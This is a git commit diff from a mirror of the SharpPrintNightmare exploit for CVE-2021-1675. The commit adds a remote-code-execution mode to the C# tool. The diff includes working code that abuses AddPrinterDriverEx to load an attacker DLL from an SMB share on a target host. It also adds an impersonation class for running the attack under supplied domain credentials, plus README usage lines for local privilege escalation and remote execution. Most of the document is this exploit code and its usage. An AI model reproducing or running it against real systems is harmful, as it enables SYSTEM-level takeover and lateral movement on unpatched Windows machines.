mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2024-12-22 10:46:32 +00:00
c# remote version
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
parent
2f6ae233b0
commit
b74cb00b1b
6 changed files with 223 additions and 19 deletions
BIN
Images/poc4.png
Normal file
BIN
Images/poc4.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 297 KiB |
|
@ -3,7 +3,16 @@
|
|||
### Usage
|
||||
|
||||
```
|
||||
#LPE
|
||||
C:\SharpPrintNightmare.exe C:\addCube.dll
|
||||
|
||||
#RCE using existing context
|
||||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
|
||||
|
||||
#RCE using runas /netonly
|
||||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
|
||||
```
|
||||
|
||||
![](../Images/poc4.png)
|
||||
|
||||
![](../Images/poc3.png)
|
||||
|
|
Binary file not shown.
|
@ -2,6 +2,7 @@
|
|||
using System.ComponentModel;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using Tools;
|
||||
|
||||
namespace SharpPrintNightmare
|
||||
{
|
||||
|
@ -45,30 +46,81 @@ namespace SharpPrintNightmare
|
|||
static void Main(string[] args)
|
||||
{
|
||||
string dllpath;
|
||||
string pDriverPath = "";
|
||||
string path = null;
|
||||
//network credentials wont be used for LPE
|
||||
string domain = "NeverGonnaGiveYouUp";
|
||||
string user = "NeverGonnaLetYouDown";
|
||||
string password = "NeverGonnaRunAroundAndDesertYou";
|
||||
|
||||
if (args == null || args.Length == 0)
|
||||
{
|
||||
Console.WriteLine("Need an argument containing the dll path");
|
||||
Console.WriteLine("-Locally");
|
||||
Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll");
|
||||
Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'");
|
||||
Console.WriteLine("-Remote using current context");
|
||||
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'");
|
||||
Console.WriteLine("-Remote using runas");
|
||||
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123");
|
||||
Environment.Exit(0);
|
||||
}
|
||||
dllpath = args[0];
|
||||
|
||||
Console.WriteLine("[*] Try 1...");
|
||||
addPrinter(dllpath);
|
||||
Console.WriteLine("[*] Try 2...");
|
||||
addPrinter(dllpath);
|
||||
Console.WriteLine("[*] Try 3...");
|
||||
addPrinter(dllpath);
|
||||
if(args.Length > 1)
|
||||
{
|
||||
pDriverPath = args[1];
|
||||
}
|
||||
|
||||
static void addPrinter(string dllpath)
|
||||
else
|
||||
{
|
||||
DRIVER_INFO_2[] drivers = getDrivers();
|
||||
string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL";
|
||||
Console.WriteLine($"[*] pDriverPath Found {pDriverPath}");
|
||||
foreach (DRIVER_INFO_2 driver in drivers)
|
||||
{
|
||||
//Console.WriteLine(driver.pDriverPath); //debug
|
||||
if (driver.pDriverPath.ToLower().Contains("filerepository"))
|
||||
{
|
||||
pDriverPath = driver.pDriverPath;
|
||||
break;
|
||||
}
|
||||
}
|
||||
//lucky shot
|
||||
if (pDriverPath == "")
|
||||
{
|
||||
pDriverPath = drivers[0].pDriverPath;
|
||||
}
|
||||
pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL";
|
||||
}
|
||||
if (args.Length > 2)
|
||||
{
|
||||
path = args[2];
|
||||
}
|
||||
if (args.Length > 3)
|
||||
{
|
||||
domain = args[3];
|
||||
user = args[4];
|
||||
password = args[5];
|
||||
}
|
||||
|
||||
//runas /netonly
|
||||
using (new Impersonator.Impersonation(domain, user, password))
|
||||
{
|
||||
Console.WriteLine("[*] Try 1...");
|
||||
addPrinter(dllpath, pDriverPath, path);
|
||||
Console.WriteLine("[*] Try 2...");
|
||||
addPrinter(dllpath, pDriverPath, path);
|
||||
Console.WriteLine("[*] Try 3...");
|
||||
addPrinter(dllpath, pDriverPath, path);
|
||||
}
|
||||
}
|
||||
|
||||
static void addPrinter(string dllpath, string pDriverPath, string path = null)
|
||||
{
|
||||
|
||||
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
|
||||
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
|
||||
Console.WriteLine($"[*] pDriverPath {pDriverPath}");
|
||||
Console.WriteLine($"[*] Executing {dllpath}");
|
||||
|
||||
//DRIVER_INFO_2 Level2 = drivers[0];
|
||||
//DRIVER_INFO_2 Level2 = drivers[0]; // debug
|
||||
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
|
||||
Level2.cVersion = 3;
|
||||
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
|
||||
|
@ -85,7 +137,7 @@ namespace SharpPrintNightmare
|
|||
Marshal.StructureToPtr(Level2, pnt, false);
|
||||
|
||||
//call AddPrinterDriverEx
|
||||
AddPrinterDriverEx(null, 2, pnt, flags);
|
||||
AddPrinterDriverEx(path, 2, pnt, flags);
|
||||
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
|
||||
Marshal.FreeHGlobal(pnt);
|
||||
|
||||
|
@ -98,7 +150,7 @@ namespace SharpPrintNightmare
|
|||
Marshal.StructureToPtr(Level2, pnt2, false);
|
||||
|
||||
//call AddPrinterDriverEx
|
||||
AddPrinterDriverEx(null, 2, pnt2, flags);
|
||||
AddPrinterDriverEx(path, 2, pnt2, flags);
|
||||
int errorcode = Marshal.GetLastWin32Error();
|
||||
Marshal.FreeHGlobal(pnt2);
|
||||
if (errorcode == 0)
|
||||
|
@ -110,11 +162,13 @@ namespace SharpPrintNightmare
|
|||
}
|
||||
}
|
||||
|
||||
static DRIVER_INFO_2[] getDrivers()
|
||||
static DRIVER_INFO_2[] getDrivers(string path = null)
|
||||
{
|
||||
uint cbNeeded = 0;
|
||||
uint cReturned = 0;
|
||||
if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
|
||||
//path = "\\\\192.168.1.20";
|
||||
|
||||
if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
|
||||
{
|
||||
//succeeds, but shouldn't, because buffer is zero (too small)!
|
||||
throw new Exception("EnumPrinters should fail!");
|
||||
|
@ -128,7 +182,7 @@ namespace SharpPrintNightmare
|
|||
}
|
||||
|
||||
IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded);
|
||||
if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
|
||||
if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
|
||||
{
|
||||
DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned];
|
||||
long offset;
|
||||
|
|
|
@ -44,6 +44,7 @@
|
|||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Tools.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
|
|
140
SharpPrintNightmare/SharpPrintNightmare/Tools.cs
Normal file
140
SharpPrintNightmare/SharpPrintNightmare/Tools.cs
Normal file
|
@ -0,0 +1,140 @@
|
|||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
using System.Security.Principal;
|
||||
|
||||
|
||||
namespace Tools
|
||||
{
|
||||
public class Impersonator
|
||||
{
|
||||
//Reference https://stackoverflow.com/questions/22544903/impersonate-for-entire-application-lifecycle
|
||||
|
||||
[PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
|
||||
public class Impersonation : IDisposable
|
||||
{
|
||||
private readonly SafeTokenHandle _handle;
|
||||
private readonly WindowsImpersonationContext _context;
|
||||
|
||||
private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
|
||||
|
||||
public Impersonation(string domain, string username, string password)
|
||||
{
|
||||
var ok = LogonUser(username, domain, password,
|
||||
LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle);
|
||||
if (!ok)
|
||||
{
|
||||
var errorCode = Marshal.GetLastWin32Error();
|
||||
throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode));
|
||||
}
|
||||
|
||||
this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle());
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
this._context.Dispose();
|
||||
this._handle.Dispose();
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private SafeTokenHandle()
|
||||
: base(true) { }
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
protected override bool ReleaseHandle()
|
||||
{
|
||||
return CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class AToken
|
||||
{
|
||||
// Based on SharpSploit MakeToken
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("Advapi32.dll", SetLastError = true)]
|
||||
private static extern bool RevertToSelf();
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool LogonUserA(
|
||||
string lpszUsername,
|
||||
string lpszDomain,
|
||||
string lpszPassword,
|
||||
LOGON_TYPE dwLogonType,
|
||||
LOGON_PROVIDER dwLogonProvider,
|
||||
ref IntPtr phToken);
|
||||
|
||||
[Flags]
|
||||
public enum LOGON_TYPE : uint
|
||||
{
|
||||
LOGON32_LOGON_INTERACTIVE = 2, //will not work for sacrify, still active
|
||||
LOGON32_LOGON_NETWORK, //will not work for sacrify, still active
|
||||
LOGON32_LOGON_BATCH, //will not work for sacrify, still active
|
||||
LOGON32_LOGON_SERVICE, //will not work for sacrify, still active
|
||||
LOGON32_LOGON_UNLOCK = 7, //will not work for sacrify, still active
|
||||
LOGON32_LOGON_NETWORK_CLEARTEXT, //will not work for sacrify, still active
|
||||
LOGON32_LOGON_NEW_CREDENTIALS
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum LOGON_PROVIDER : uint
|
||||
{
|
||||
LOGON32_PROVIDER_DEFAULT,
|
||||
LOGON32_PROVIDER_WINNT35,
|
||||
LOGON32_PROVIDER_WINNT40,
|
||||
LOGON32_PROVIDER_WINNT50
|
||||
}
|
||||
|
||||
public static bool MakeToken(string Username, string Domain, string Password, LOGON_TYPE LogonType = LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
|
||||
{
|
||||
IntPtr hProcessToken = IntPtr.Zero;
|
||||
if (!LogonUserA(
|
||||
Username, Domain, Password,
|
||||
LogonType,
|
||||
LOGON_PROVIDER.LOGON32_PROVIDER_WINNT50,
|
||||
ref hProcessToken))
|
||||
{
|
||||
Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ImpersonateLoggedOnUser(hProcessToken))
|
||||
{
|
||||
Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
|
||||
CloseHandle(hProcessToken);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static bool RevertFromToken()
|
||||
{
|
||||
if (!RevertToSelf())
|
||||
{
|
||||
Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue